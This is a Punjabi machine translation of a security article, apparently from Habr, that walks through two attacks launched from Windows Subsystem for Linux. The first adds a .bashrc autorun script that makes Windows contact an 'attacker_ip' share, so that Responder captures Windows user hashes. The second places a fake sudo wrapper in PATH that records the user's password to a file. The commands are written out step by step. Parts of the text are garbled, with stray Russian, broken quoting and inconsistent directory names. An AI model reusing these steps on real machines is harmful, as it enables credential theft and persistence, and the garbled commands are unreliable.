ਮੰਨ ਲਓ ਕਿ ਸਾਡੇ ਕੋਲ ਵਿੰਡੋਜ਼ ਮਸ਼ੀਨ 'ਤੇ WSL ਤੱਕ ਗੈਰ-ਅਧਿਕਾਰਤ ਪਹੁੰਚ ਹੈ। ਆਉ ਲੀਨਕਸ ਤੋਂ ਇੱਕ ਕਮਾਂਡ ਨੂੰ ਕਾਲ ਕਰਕੇ ਲੀਨਕਸ ਓਪਰੇਟਿੰਗ ਸਿਸਟਮ ਤੇ ਹਮਲਾ ਕਰਨ ਦੀ ਕੋਸ਼ਿਸ਼ ਕਰੀਏ। ਹਮਲੇ ਨੂੰ ਲਾਗੂ ਕਰਨ ਲਈ, ਅਸੀਂ ਇੱਕ ਸਧਾਰਨ ਆਟੋਰਨ ਤਕਨੀਕ ਦੀ ਵਰਤੋਂ ਕਰਾਂਗੇ - ਅਸੀਂ ਲੀਨਕਸ ਵਾਤਾਵਰਨ ਵਿੱਚ ਐਗਜ਼ੀਕਿਊਸ਼ਨ ਲਈ ਸਾਡੀ ਸਕ੍ਰਿਪਟ ਜੋੜਾਂਗੇ। ਅਜਿਹਾ ਕਰਨ ਲਈ ਤੁਹਾਨੂੰ ਫਾਈਲ ਨੂੰ ਬਦਲਣ ਦੀ ਜ਼ਰੂਰਤ ਹੈ .bashrc.

WSL ਵਾਲੀ ਮਸ਼ੀਨ 'ਤੇ ਅਸੀਂ ਚਲਾਉਂਦੇ ਹਾਂ:

	1. bash
	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
	2. echo  «/home/sam/.attack.sh» >> .bashrc
	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
	4. chmod u+x .attack.sh
	5. exit

ਕਾਲੀ ਲੀਨਕਸ ਮਸ਼ੀਨ ਤੇ ਅਸੀਂ ਚਲਾਉਂਦੇ ਹਾਂ:

1. Responder -I eth0 -rdvw

ਵਿੰਡੋਜ਼ ਮਸ਼ੀਨ 'ਤੇ, ਆਓ ਬੈਸ਼ ਲਾਂਚ ਕਰੀਏ।

ਅਸੀਂ ਕਾਲੀ ਲੀਨਕਸ ਮਸ਼ੀਨ 'ਤੇ ਨਤੀਜੇ ਦੀ ਉਡੀਕ ਕਰ ਰਹੇ ਹਾਂ:

ਇਸ ਤਰ੍ਹਾਂ, ਅਸੀਂ ਲੀਨਕਸ ਸਿਸਟਮ ਉੱਤੇ ਕਮਾਂਡ ਚਲਾ ਕੇ WSL ਸਬ-ਸਿਸਟਮ ਰਾਹੀਂ ਵਿੰਡੋਜ਼ ਯੂਜ਼ਰ ਹੈਸ਼ ਪ੍ਰਾਪਤ ਕੀਤੇ।

WSL 1 ਪ੍ਰਯੋਗ: ਉਪਭੋਗਤਾ ਪਾਸਵਰਡ ਪ੍ਰਾਪਤ ਕਰਨਾ (Linux OS)

ਆਓ ਇੱਕ ਹੋਰ ਪ੍ਰਯੋਗ ਕਰੀਏ। ਇਸ ਜਾਂਚ ਦੇ ਦੌਰਾਨ ਅਸੀਂ ਫਾਈਲ ਵਿੱਚ ਜੋੜਾਂਗੇ .bashrc ਲੀਨਕਸ ਓਪਰੇਟਿੰਗ ਸਿਸਟਮ ਉਪਭੋਗਤਾ ਪਾਸਵਰਡ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ ਕਈ ਕਮਾਂਡਾਂ।

ਆਉ ਬੈਸ਼ ਲਾਂਚ ਕਰੀਏ ਅਤੇ ਕਮਾਂਡਾਂ ਦਰਜ ਕਰੀਏ:

1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit

ਹਮਲੇ ਨੂੰ ਸਫਲਤਾਪੂਰਵਕ ਪੂਰਾ ਕਰਨ ਲਈ, ਉਪਭੋਗਤਾ ਸੈਮ ਨੂੰ ਲੀਨਕਸ ਟਰਮੀਨਲ ਵਿੱਚ sudo ਨੂੰ ਕਾਲ ਕਰਨ ਦੀ ਲੋੜ ਹੈ। ਇਸ ਤੋਂ ਬਾਅਦ, ਲੀਨਕਸ OS ਯੂਜ਼ਰ ਪਾਸਵਰਡ ਫਾਈਲ ਵਿੱਚ ਹੋਵੇਗਾ pass.txt:

ਹਮਲਿਆਂ ਨੂੰ ਲਾਗੂ ਕਰਨ ਦੀ ਗੱਲ ਸਿਰਫ ਸਿਧਾਂਤਕ ਜਾਣਕਾਰੀ ਲਈ ਦਿੱਤੀ ਗਈ ਸੀ।

ਲੇਖ ਦਾ ਅਗਲਾ ਭਾਗ 9P ਪ੍ਰੋਟੋਕੋਲ ਨੂੰ ਲਾਗੂ ਕਰਨ ਦਾ ਵਰਣਨ ਕਰੇਗਾ, ਇਸ ਪ੍ਰੋਟੋਕੋਲ ਲਈ ਇੱਕ ਸਕੈਨਰ ਬਣਾਉਣ ਬਾਰੇ ਵਿਚਾਰ ਕਰੇਗਾ, ਅਤੇ ਇਸਦੀ ਵਰਤੋਂ ਕਰਕੇ ਇੱਕ ਹਮਲਾ ਵੀ ਕਰੇਗਾ।

ਵਰਤੇ ਗਏ ਸਾਹਿਤ ਦੀ ਸੂਚੀ

• WSL 2 ਬੁਰਾਈ ਵਿੱਚ ਖੋਜ
• ਲੀਨਕਸ ਦਸਤਾਵੇਜ਼ਾਂ ਲਈ ਵਿੰਡੋਜ਼ ਸਬਸਿਸਟਮ

ਹੋਰ ਪੜ੍ਹੋ

• ਰੀਅਲ-ਟਾਈਮ ਲੀਨਕਸ ਕਰਨਲ ਪੈਚਿੰਗ ਸੌਫਟਵੇਅਰ ਦੀ ਚੋਣ ਕਿਵੇਂ ਕਰੀਏ

ਸਰੋਤ: www.habr.com